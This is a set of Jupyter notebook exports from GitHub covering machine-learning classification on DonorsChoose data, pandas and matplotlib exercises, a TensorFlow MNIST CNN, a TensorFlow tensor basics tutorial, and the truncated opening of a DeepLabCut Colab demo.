outputId=\"d0cbb6dd-086e-4b4c-d663-3ddcaa20800a\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915351929, \"user_tz\": 420, \"elapsed\": 173088, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 420}\nplt.figure(figsize=(12, 6)) \nplt.plot(range(1, 40), error, color='red', linestyle='dashed', marker='o', \n markerfacecolor='blue', markersize=10)\nplt.title('Error Rate K Value') \nplt.xlabel('K Value') \nplt.ylabel('Mean Error') \n\n# + [markdown] id=\"1ajddJlsglON\" colab_type=\"text\"\n# Model Training and Fitting\n\n# + id=\"UlR44BSnghcH\" colab_type=\"code\" outputId=\"9bddbdb6-8f89-4212-ebfa-223aeec5af55\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915351934, \"user_tz\": 420, \"elapsed\": 173088, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nknn = KNeighborsClassifier(n_neighbors=7) \nknn.fit(X_train, y_train) \ny_pred_knn = knn.predict(X_test)\nprint(\"done with K - Nearest Neighbour\")\n# algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}\n\n# + [markdown] id=\"GwuFMNZ_gpxb\" colab_type=\"text\"\n# Model Metrics\n\n# + id=\"jNSp79-rghR8\" colab_type=\"code\" outputId=\"ac839619-9175-498a-b522-83e4d51fa63b\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915352319, \"user_tz\": 420, \"elapsed\": 173468, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 500}\n#accuracy calculation\naccuracy_knn = accuracy_score(y_test, y_pred_knn)\nprint('accuracy_score = ', accuracy_knn,'\\n')\nmat_knn = confusion_matrix(y_test, y_pred_knn)\n\nfig, ax = plt.subplots(figsize=(8,8)) \nax.set_title(\"Confusion Matrix for K - Nearest neighbours Classifier\")\nsns.heatmap(mat_knn.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n# + id=\"xbTDyFavghFT\" colab_type=\"code\" outputId=\"a5154089-1140-40de-b019-49f2cd113514\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915352320, \"user_tz\": 420, \"elapsed\": 173464, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_knn = classification_report(y_test, y_pred_knn, target_names=ylabels)\nprint(cls_knn)\n\n# + id=\"R50IdGxjgwb5\" colab_type=\"code\" outputId=\"0a15411a-5ec0-4d48-f520-8a4cc97ff743\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915352445, \"user_tz\": 420, \"elapsed\": 173584, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches_knn = (y_pred_knn == y_test)\nprint(\"The number of correct matches for Random Forest Classifier:\",matches_knn.sum())\n\n# The total number of data points\nprint(\"The total number of data points for Random Forest Classifier:\",len(matches_knn))\n\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Random Forest Classifier:\",matches_knn.sum() / float(len(matches_knn)))\n\n# + [markdown] id=\"edow9Xn0g1Fp\" colab_type=\"text\"\n# Plot ROC Curve\n\n# + id=\"T29TStPsgwYd\" colab_type=\"code\" outputId=\"53d51664-29d6-47ab-f4cb-71f5c8297524\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915352741, \"user_tz\": 420, \"elapsed\": 173875, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\nplotROC_Curve(knn,X_test, y_test)\n\n# + [markdown] id=\"wn4rjjnPgkzq\" colab_type=\"text\"\n# ##

Feature Importance Using Other Methods

\n\n# + [markdown] id=\"-vmu9Y7_hRfj\" colab_type=\"text\"\n# ### SelectKBest\n#\n# @Author: Vidhi and Reetika\n\n# + id=\"SwmIOhXQgkzq\" colab_type=\"code\" outputId=\"6250b850-b36b-4ada-ade6-fcbbb43f131f\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915352744, \"user_tz\": 420, \"elapsed\": 173873, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 204}\n#apply SelectKBest class to extract top 10 best features\nbestfeatures = SelectKBest(score_func=chi2, k=10)\nfit = bestfeatures.fit(X_,y_)\n\ndfscores = pd.DataFrame(fit.scores_)\ndfcolumns = pd.DataFrame(X_.columns)\n\n#concat two dataframes for better visualization \nfeatureScores = pd.concat([dfcolumns,dfscores],axis=1)\nfeatureScores.columns = ['Specs','Score'] #naming the dataframe columns\n\nprint(featureScores.nlargest(10,'Score')) #print 10 best features\n\n# + [markdown] id=\"GEI9dXG7gkzr\" colab_type=\"text\"\n# ### XGBoost\n\n# + id=\"8bUVCKWtgkzr\" colab_type=\"code\" outputId=\"3f6de6d6-d0f7-4097-fed4-0e27bd7aa123\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915354440, \"user_tz\": 420, \"elapsed\": 175564, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 784}\nmodel_xgb = xgb.XGBClassifier()\nmodel_xgb.fit(X_, y_)\n\nimportance_series = pd.Series(model_xgb.feature_importances_, \\\n index=X_.columns)\n\nfig = plt.figure(figsize=(13, 8))\nfig.suptitle('Feature Importance', fontsize=20)\nplt.xlabel(\"Importance %\", fontsize=20)\nplt.ylabel(\"Feature\", fontsize=20)\nimportance_series.plot(kind='bar', alpha = 1,fontsize=13)\n\n# + [markdown] id=\"CUYYs34Vha8p\" colab_type=\"text\"\n# ### ExtraTreesClassifier\n\n# + id=\"e2rwZdTRhhGc\" colab_type=\"code\" outputId=\"fc3a8294-aa04-4947-de47-cb66b51f6094\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915355956, \"user_tz\": 420, \"elapsed\": 177076, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 536}\nmodelext = ExtraTreesClassifier()\nmodelext.fit(X_,y_)\nprint(modelext.feature_importances_) #use inbuilt class feature_importances of tree based classifiers\n\n#plot graph of feature importances for better visualization\nplt.figure(figsize=(10,8))\nfeat_importances = pd.Series(modelext.feature_importances_, index=X_.columns)\nfeat_importances.nlargest(20).plot(kind='barh',fontsize=13)\nplt.show()\n\n# + [markdown] id=\"PzbV9rO1hdF8\" colab_type=\"text\"\n# ### Voting Classifier\n#\n# One can train the model using diverse algorithms and then ensemble them to predict the final output. Say, you use a Random Forest Classifier, SVM Classifier, Linear Regression etc.; models are pitted against each other and selected upon best performance by voting using the VotingClassifier Class from sklearn.ensemble.\n#\n# Hard voting is where a model is selected from an ensemble to make the final prediction by a simple majority vote for accuracy.\n\n# + id=\"ah-ml6xnhlcF\" colab_type=\"code\" outputId=\"3f706fe1-7862-4288-e1c7-7256632b9ee2\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915356756, \"user_tz\": 420, \"elapsed\": 177871, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nlog_clf = LogisticRegression()\nrnd_clf = RandomForestClassifier()\nsvm_clf = SVC()\nX_train_vt, X_test_vt, y_train_vt, y_test_vt = train_test_split(X_, y_, test_size = 0.25, random_state = 123)\n\nvoting_clf = VotingClassifier(estimators = [('lr', log_clf), ('rf', rnd_clf), ('svc',svm_clf)],voting = 'hard')\nvoting_clf.fit(X_train_vt, y_train_vt)\npred_vt = voting_clf.predict(X_test_vt)\nprint(\"done with Voting Classifier\")\n\n# + id=\"mCUIlW6Lhn1X\" colab_type=\"code\" outputId=\"e77a6561-db50-4eb3-8527-dd52d0cb6346\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915357990, \"user_tz\": 420, \"elapsed\": 179100, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 646}\n#accuracy calculation\naccuracy = accuracy_score(y_test_vt, pred_vt)\nprint('accuracy_score = ', accuracy)\nmat_vt = confusion_matrix(y_test_vt, pred_vt)\n\nfig, ax = plt.subplots(figsize=(11,11)) \nax.set_title(\"Confusion Matrix for Voting Classifier\")\nsns.heatmap(mat_vt.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n\n# + id=\"U-V8tcOrhnXi\" colab_type=\"code\" outputId=\"433c3c32-b3d4-4a40-8db4-ef6ddc54ce9c\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915357991, \"user_tz\": 420, \"elapsed\": 179096, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_vt = classification_report(y_test_vt, pred_vt, target_names=ylabels)\nprint(cls_vt)\n\n# + id=\"Wg3aWJYahsPD\" colab_type=\"code\" outputId=\"a1c69dd1-4683-40f0-fdee-f27ffdcd48b8\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915358870, \"user_tz\": 420, \"elapsed\": 179971, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\npredictions_vt = X_predict_liveset.copy()\ny_pred_testvt = voting_clf.predict(X_predict_liveset)\ny_pred_transformed_vt = ['Fully Funded' if x == 1 else 'Expired' for x in y_pred_testvt]\npredictions_vt['Project Current Status'] = y_pred_transformed_vt\npredictions_vt.to_csv('submit_VOTE.csv', index = False)\nprint('done')\n\n# + [markdown] id=\"ntvr4Ob5hvpW\" colab_type=\"text\"\n# # Conclusion\n# ***\n# Please refer the Main notebook for description and conclusion.\n","repo_name":"reetika-goel/DonorsChoose","sub_path":"CMPE257_DonorsChoose_Project/MidTerm Submission/DonorsChoose_Enriched_BS_Income.ipynb","file_name":"DonorsChoose_Enriched_BS_Income.ipynb","file_ext":"py","file_size_in_byte":82677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"32307984276","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FG9ifxwlqRt3\" outputId=\"8be602db-c46e-4094-e4c5-2fcea91677a1\"\nimport pandas as pd\nnota_semillero=pd.DataFrame({'Nombres':['Pedro','Darden','Luis','leyla','martha','Andrea','Cralos','felipe','Andres','Julian'],'Semestre':[10,9,7,8,10,9,10,8,9,8]})\nprint(nota_semillero)\n\n# + id=\"EpImAuRnsF_Q\" outputId=\"c2c135e6-5147-4719-b4ae-991cb2b12813\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363}\nnota_semillero['Nota 1']=3\nnota_semillero\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"ro6ghZHEsaTC\" outputId=\"e6925b32-3ece-4e04-a2ff-9173361cca5c\"\nnota_semillero['Nota2']=[3.1,4.2,3.3,4.5,4,4,3.8,5,4,3.1]\nnota_semillero\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"akLIqHhIsdFY\" outputId=\"fec51633-9e28-4da7-c8b2-11bf49494f25\"\nnota_semillero.insert(4,'Ciudad',['Manizales','Pereira','Armenia','Pasto','Cali','Popayan','Manizales','Pereira','Manizales','Pereira'])\nnota_semillero\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"YcsrEffHsptp\" outputId=\"debbddc2-9aa4-4707-c3a0-f9f0c11d3458\"\nnota_semillero=nota_semillero.assign(Departamento=['Caldas','Risaralda','Quindio','Nariño','Valle del Cauca','Cauca','Caldas','Risaralda','Caldas','Risaralda'])\nnota_semillero\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"phogMhBhu5zI\" outputId=\"1967962d-a198-421f-8dc5-bb5f04afc391\"\nnota_semillero.insert(3,'Inasistencia 1',[1,4,3,5,6,3,4,5,0,9])\nnota_semillero\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"KffICvrBvzzf\" outputId=\"f93c7f4a-c3d4-40cc-d198-2f4d772ac71c\"\nnota_semillero.insert(5,'Inasistencia 2',[4,5,8,2,1,4,2,9,3,1])\nnota_semillero\n","repo_name":"SebasRl07/Entregas","sub_path":"Untitled11.ipynb","file_name":"Untitled11.ipynb","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"24087675058","text":"import matplotlib.pyplot as plt\n\nvalues = [1,3,4,5,5,5,2,3,2,6,3,2]\nplt.hist(values)\nplt.show()\n\nimport numpy as np\nxt = np.arange(23)\nxt\n\n# to see the bar more clearly we can use edgecolor \nvalues = [1,3,4,5,5,5,2,3,2,6,3,2,1,2,43,5,5,6,6,7,6,7,7,8,8,9]\nplt.hist(xt,edgecolor='black')\nplt.show()\n\n# +\n#now if we clearly what to what's going on we can use a property called xticks()\n\nplt.hist(values,edgecolor='black',bins=25)\n# plt.xticks(xt)\nplt.axis([0,25,0,10])\nplt.show()\n# -\n\n\n","repo_name":"nitin-pandita/Data-Science","sub_path":"Histogram/Histro.ipynb","file_name":"Histro.ipynb","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"70698793295","text":"# +\nimport tensorflow as tf\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime\n \nfrom tensorflow.examples.tutorials.mnist import input_data\n# -\n\nmnist = input_data.read_data_sets('data/',one_hot=True)\n\ntf.reset_default_graph()\nsess = tf.InteractiveSession()\nx = tf.placeholder(\"float\",shape = [None,28,28,1]) #28*28*1 不是784个像素点\ny_ = tf.placeholder(\"float\",shape = [None,10])\n'''\ntf.reset_default_graph()函数:\n用于清除默认图形堆栈并重置全局默认图形.默认图形是当前线程的一个属性。\n该tf.reset_default_graph函数只适用于当前线程。\n当一个tf.Session或者tf.InteractiveSession激活时调用这个函数会导致未定义的行为。\n调用此函数后使用任何以前创建的tf.Operation或tf.Tensor对象将导致未定义的行为。\n'''\n\n#定义卷积核 5*5的卷积核 1维的原始输入图像 输出32通道 32种不同的核进行卷积得到32个不同的特征\nW_conv1 = tf.Variable(tf.truncated_normal([5,5,1,32], stddev=0.1))\n#偏置参数 用任意一个常数进行初始化\nb_conv1 = tf.Variable(tf.constant(.1,shape = [32]))\n#filter:卷积核 strides:步长 4个1 batchsize,h滑多少 ,w滑多少 ,通道数 SAME:可以自动补充\nh_conv1 = tf.nn.conv2d(input = x,filter = W_conv1,strides = [1,1,1,1],padding = 'SAME') + b_conv1\n#卷积一次 进行一次映射\nh_conv1 = tf.nn.relu(h_conv1) \n#池化层 不会改变特征的个数\n#没有参数 ksize:batchsize,2*2区域,通道数 strides:步长 4个1 batchsize,h滑多少 ,w滑多少 ,通道数\nh_pool1 = tf.nn.max_pool(h_conv1,ksize = [1,2,2,1], strides = [1,2,2,1], padding = 'SAME')\n\n'''\ntruncated_normal()  函数:\n从截断的正态分布中取随机值。\n生成的值服从具有指定平均值和标准偏差的正态分布,如果生成的值大于平均值两个标准差的值则丢弃重新选择。\n\ntf.nn.conv2d(imput,filter,strides,padding,use_cudnn_on_gpu=None,name=None)函数:\n实现卷积的函数,搭建卷积神经网络的核心方法\ninput:输入的图像\nfilter:相当于CNN中的卷积核\nstrides:卷积时在图像上的每一维的步长,[1,strides,strides,1]。\npadding:设定卷积方式\nuse_cudnn_on_gpu:bool类型,是否使用cudnn加速,默认为true\n返回值:feature map,shape为[batch,h,w,channels]\n\ntf.nn.max_pool(value,ksize,strides,padding,name=None)函数:\nCNN中最大池化操作\nvalue:池化的输入,通常为feater map,\nksize:池化窗口大小,一般为[1,h,w,1]\nstrides:窗口在图像上的每一维的步长,[1,strides,strides,1]。\npadding:设置池化方式\n'''\n\n\n# 第��个卷积层 也可以写成函数\ndef conv2d(x,W):\n\treturn tf.nn.conv2d(input = x, filter = W, strides = [1,1,1,1],padding = 'SAME')\ndef max_pool_2x2(x):\t\n\treturn tf.nn.max_pool(x,ksize=[1,2,2,1],strides = [1,2,2,1],padding = 'SAME')\n#第二个卷积核\nW_conv2 = tf.Variable(tf.truncated_normal([5,5,32,64], stddev=0.1))\nb_conv2 = tf.Variable(tf.constant(.1,shape = [64]))\nh_conv2 = tf.nn.relu(conv2d(h_pool1,W_conv2) + b_conv2)\nh_pool2 = max_pool_2x2(h_conv2)\n\n#第一个全连接层\nW_fcl = tf.Variable(tf.truncated_normal([7*7*64,1024],stddev=0.1))\t#7*7*64转换为1024个特征\nb_fcl = tf.Variable(tf.constant(.1,shape = [1024]))\n#reshape将7*7*64拉伸成一长条,即h_pool2 -1自动取了一个合适的值,1\nh_pool2_flat = tf.reshape(h_pool2,[-1,7*7*64])\nh_fcl = tf.nn.relu(tf.matmul(h_pool2_flat,W_fcl) + b_fcl)\n\n'''\ntf.reshape(tensor,shape,name=None)函数:\n将tensor变化为shape的形式,shape为一个列表形式。\n防止过拟合\n'''\n#droput layer:杀死一部分神经元 防止过拟合\n#指定保留率\nkeep_prob = tf.placeholder(\"float\")\nh_fcl_drop = tf.nn.dropout(h_fcl,keep_prob)\n\n'''\ntf.nn.dropout(x,keep_prob)函数\n防止过拟合,会随机扔掉一部分神经元。\nx:输入\nkeep_prob:设置神经元被选中的概率,在初始化时keep_prob是一个占位符。\n'''\n#第二个全连接层\nW_fc2 = tf.Variable(tf.truncated_normal([1024,10],stddev=0.1))\t#\nb_fc2 = tf.Variable(tf.constant(.1,shape = [10]))\n\n#最后一层\ny = tf.matmul(h_fcl_drop,W_fc2) + b_fc2\n\n# +\n#求损失值,指定优化器\n\n#用损失函数求交叉熵的损失\ncrossEntropyLoss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels = y_,logits = y))\n#指定优化器 AdamOptimizer可以自适应的调整学习率,比梯度下降好\ntrainStep = tf.train.AdamOptimizer().minimize(crossEntropyLoss)\n#计算正确率\ncorrect_prediction = tf.equal(tf.argmax(y,1),tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction,\"float\"))\n# -\n\n#开始训练\nsess.run(tf.global_variables_initializer())\nbatchsize = 50\nfor i in range(5000):\n batch = mnist.train.next_batch(batchsize)\n trainingInputs = batch[0].reshape([batchsize,28,28,1])\t\t#输入大小必须为28*28*1\n trainingLabels = batch[1]\n if i%100 == 0:\n trainAccuracy = accuracy.eval(session = sess,feed_dict = {x:trainingInputs,y_:trainingLabels,keep_prob:0.5})\n print(\"step %d, training accuracu %g\"%(i,trainAccuracy))\n trainStep.run(session = sess,feed_dict={x:trainingInputs,y_:trainingLabels,keep_prob:0.5})\n\n\n","repo_name":"ACce1er4t0r/learning_pracrice","sub_path":"MNIST/CNN_MNIST.ipynb","file_name":"CNN_MNIST.ipynb","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"8586264827","text":"# # Introduction to tensors\n\nimport tensorflow as tf\nprint(tf.__version__)\nimport numpy as np\n\n# Creating tensors with tf.constant()\nscalar = tf.constant(7)\nscalar\n\n# Checking number of dimensions of a tensor\nscalar.ndim\n\n# Create a vector\nvector = tf.constant([10, 10])\nvector\n\n# Check dimension of the vector\nvector.ndim\n\n# Create a matrix\nmatrix = tf.constant([[10, 7], [7, 10]])\nmatrix\n\nmatrix.ndim\n\n# Create another matrix with specified data type\nanother_matrix = tf.constant([[10., 7.], [3., 2.], [8., 9.]], dtype=tf.float16)\nanother_matrix\n\nanother_matrix.ndim\n\n# Creating a tensor\ntensor = tf.constant([[[1, 2, 3], \n [4, 5, 6]], \n [[7, 8, 9], \n [10, 11, 12]], \n [[13, 14, 15], \n [16, 17, 18]]])\ntensor\n\ntensor.ndim\n\n# ## Creating tensors with tf.Variable\n\nchangeable_tensor = tf.Variable([10, 7])\nunchangeable_tensor = tf.constant([10, 7])\nchangeable_tensor, unchangeable_tensor\n\n# +\n# Changing elements in changeable tensor\n# changeable_tensor[0] = 7\n# TypeError: 'ResourceVariable' object does not support item assignment\n# -\n\n# Try .assign\nchangeable_tensor[0].assign(7)\nchangeable_tensor\n\n# +\n# Changing un unchangeable tensor\n# unchangeable_tensor[0] = 7\n# TypeError: 'tensorflow.python.framework.ops.EagerTensor' object does not support item assignment\n\n# +\n# Try .assign\n#unchangeable_tensor[0].assign(7)\n\n# AttributeError: 'tensorflow.python.framework.ops.EagerTensor' object has no attribute 'assign'\n# -\n\n# ## Creating random tensors\n\n# +\nrandom_1 = tf.random.Generator.from_seed(42)\nrandom_1 = random_1.normal(shape=(3,2))\nrandom_2 = tf.random.Generator.from_seed(42)\nrandom_2 = random_2.normal(shape=(3,2))\n\n# Are they equal?\nrandom_1, random_2, random_1 == random_2\n# -\n\n# ## Suffle a tensor\n\nnot_suffled = tf.constant([[10, 7], \n [3, 4], \n [2, 5]])\nnot_suffled.ndim\n\nnot_suffled\n\n# Suffle from first dimension\ntf.random.shuffle(not_suffled)\n\n# Global seed\ntf.random.set_seed(42)\n# Suffle from first dimension\ntf.random.shuffle(not_suffled)\n\n# ## Other ways to make tensors\n\n# All 1\ntf.ones([10, 7])\n\n# All 0\ntf.zeros(shape=(3,4))\n\n# Turn numpy array into tensors\nnumpy_A = np.arange(1, 25, dtype=np.int32)\n\ntensorflow_A = tf.constant(numpy_A)\ntensorflow_A\n\ntensorflow_B = tf.constant(numpy_A, shape=(2, 3, 4))\ntensorflow_B\n\n# ## Getting information from tensors\n\n# - Shape: Number of elements of each dimension. Code: tensor.shape\n# - Rank: Number of tensor dimensions. A scalar has rank 0, a vector rank 1, matrix rank 2, tensor rank n. Code: tensor.ndim\n# - Axis or dimension: A particular dimension of a tensor. Code: tensor[0], tensor[:,1]\n# - Size: Total number of items in the tensor. Code: tf.size(tensor)\n\n# Create a rank 4 tensor\nrank_4_tensor = tf.zeros(shape=[2, 3, 4, 5])\nrank_4_tensor\n\nrank_4_tensor[0]\n\nrank_4_tensor.shape, rank_4_tensor.ndim, tf.size(rank_4_tensor)\n\n# +\n# Get various attributes of tensors\nprint('Data type of every element:', rank_4_tensor.dtype)\nprint('Number of dimensions (rank):', rank_4_tensor.ndim)\nprint('Shape of tensor:', rank_4_tensor.shape)\nprint('Elements along the 0 axis:', rank_4_tensor.shape[0])\nprint('Elements along the last axis:', rank_4_tensor.shape[-1])\nprint('Total number of elements in tensor:', tf.size(rank_4_tensor).numpy())\n\n# .numpy(): The numpy() method of tensors is used to convert them to NumPy ndarrays\n# -\n\n# ## Indexing tensors\n\n# Indexing works like Python lists\n\n# First 2 elements of each dimension of rank_4_tensor\nrank_4_tensor[:2, :2, :2, :2]\n\n# Get first element of each dimension from each index, except the final one\nrank_4_tensor[:1, :1, :1]\n\n# Create a rank 2 tensor\nrank_2_tensor = tf.constant([[10, 7], \n [3, 4]])\nrank_2_tensor.shape, rank_2_tensor.ndim\n\n# Last item of each row\nrank_2_tensor[:, -1]\n\n# Add in extra dimension\nrank_3_tensor = rank_2_tensor[..., tf.newaxis]\nrank_3_tensor\n\n# Alternative to tf.newaxis\ntf.expand_dims(rank_2_tensor, axis=-1)\n\ntf.expand_dims(rank_2_tensor, axis=0)\n\n# ## Manipulating Tensors\n\n# ### Basic Operations (+, -, *, /)\n\ntensor = tf.constant([[10, 7], [3, 4]])\n\ntensor + 10\n\ntensor * 10\n\ntensor - 10\n\n# **Using tensorflow built in functions**\n\ntf.multiply(tensor, 10)\n\n# **Funciones de tensorflow son más eficientes en GPU**\n\n# ## Matrix multiplicacion\n\ntf.matmul(tensor, tensor)\n\n# Usando el operador de mat multiplication en python\ntensor @ tensor\n\n# **Requirements:**\n# - The inner dimensions must match.\n# - Resulting matrix will have the outer dimensions shape.\n\ntf.transpose(tensor)\n\n# ## Change the data type of a tensor\n\nstring_tensor = tf.constant(['Hola', 'Tarola'])\n\nstring_tensor.dtype\n\nB = tf.constant([1.7, 7.4])\n\nB.dtype\n\n# Changing from float32 to float16 (reduced precision, but faster)\nD = tf.cast(B, dtype=tf.float16)\nD, D.dtype\n\nC = tf.constant([7, 10])\n\nC.dtype\n\n# +\n# int32 to float32\n# -\n\nE = tf.cast(C, dtype=tf.float32)\nE, E.dtype\n\n# ## Aggregating tensors\n\nD = tf.constant([-7, -10])\n\n# Get the absolute values\ntf.abs(D)\n\n# Let's go through the following forms of aggregation:\n# - Get the minimum.\n# - Get the maximum.\n# - Get the mean of a tensor.\n# - Get the sum of a tensor.\n\n# Creating a random tensor with values between 0 and 100 and size 50\nE = tf.constant(np.random.randint(0, 100, size=50))\nE\n\ntf.size(E), E.shape, E.ndim\n\n# Find the minimum\ntf.reduce_min(E)\n\n# Find the maximum\ntf.reduce_max(E)\n\n# Find the mean\ntf.reduce_mean(E)\n\n# Find the sum\ntf.reduce_sum(E)\n\n# ### Extra: Find standard deviation and variance\n\n# **reduce_variance and reduce_std expect floats**\n\nE_float = tf.cast(E, tf.float32)\n\n# Find the std\ntf.math.reduce_std(E_float)\n\n# Find the variance\ntf.math.reduce_variance(E_float)\n\n# ## Another way\n\n# **This one admits integers, but to calculate std floats will be needed**\n\nmean, variance = tf.nn.moments(E, axes=[0])\nmean, variance\n\n# **Then the std can be computed as follows**\n\n# Compute the standard deviation from the variance\nvariance_float = tf.cast(variance, tf.float32)\nstd_deviation = tf.sqrt(variance_float)\nstd_deviation\n\n# ## Find the positional of max and min\n\ntf.random.set_seed(42)\nF = tf.random.uniform(shape=[50])\nF\n\n# Find the positional max\ntf.argmax(F)\n\n# Find the positional min\ntf.argmin(F)\n\n# ## Squeezing a tensor (removing all single dimensions)\n\ntf.random.set_seed(42)\nG = tf.constant(tf.random.uniform(shape=[50]), shape=(1, 1, 1, 1, 50))\nG\n\nG.shape\n\nG_squeezed = tf.squeeze(G)\nG_squeezed, G_squeezed.shape\n\n# ## One Hot Encoding\n\n# Create a list of indices\nsome_list = [0, 1, 2, 3]\n# One hot encode\ntf.one_hot(some_list, depth=4)\n\n# Specify custom values for one hot encoding\ntf.one_hot(some_list, depth=4, on_value='On value', off_value='Off value')\n\n# ## Some more math operations\n\n# Create a new tensor\nH = tf.range(1, 10)\nH\n\n# Square\ntf.square(H)\n\n# Square root (requires non int type)\ntf.sqrt(tf.cast(H, tf.float32))\n\n# Find the log (requires non int type)\ntf.math.log(tf.cast(H, tf.float32))\n\n# ## Tensors and NumPy\n\n# Create a tensor directly from numpy array\nJ = tf.constant(np.array([3., 7., 10.]))\nJ\n\n# Convert back to numpy array\nnp.array(J), type(np.array(J))\n\n# Convert tensor J to numpay array using numpy method of tensor\nJ.numpy(), type(J.numpy())\n\n# The default types are slightly different\nnumpy_J = tf.constant(np.array([3., 7., 10.]))\ntensor_J = tf.constant([3., 7., 10.])\n# Check data type of each\nnumpy_J.dtype, tensor_J.dtype \n\n# **When creating a tensor from a numpy array the default type is tf.float64, while if the tensor is created from a python list, the default type is tf.float32.**\n\n\n","repo_name":"Luciano-C/Deep-Learning-Course-Daniel-Bourke","sub_path":"00_tensorflow_fundamentals.ipynb","file_name":"00_tensorflow_fundamentals.ipynb","file_ext":"py","file_size_in_byte":7620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"22222329436","text":"# + [markdown] colab_type=\"text\" id=\"view-in-github\"\n# \"Open\n\n# + [markdown] id=\"TGChzLdc-lUJ\"\n# # DeepLabCut 2.2 Toolbox Demo on 3 mice data\n# ![alt text](https://images.squarespace-cdn.com/content/v1/57f6d51c9f74566f55ecf271/1628250004229-KVYD7JJVHYEFDJ32L9VJ/DLClogo2021.jpg?format=1000w)\n#\n# https://github.com/DeepLabCut/DeepLabCut\n#\n# ### This notebook illustrates how to use COLAB for a multi-animal DeepLabCut (maDLC) Demo 3 mouse project:\n# - load our mini-demo data that includes a pretrained model and unlabeled video.\n# - analyze a novel video.\n# - assemble animals and tracklets.\n# - create quality check plots and video.\n#\n# ### To create a full maDLC pipeline please see our full docs: https://deeplabcut.github.io/DeepLabCut/README.html\n# - Of interest is a full how-to for maDLC: https://deeplabcut.github.io/DeepLabCut/docs/maDLC_UserGuide.html\n# - a quick guide to maDLC: https://deeplabcut.github.io/DeepLabCut/docs/tutorial.html\n# - a demo COLAB 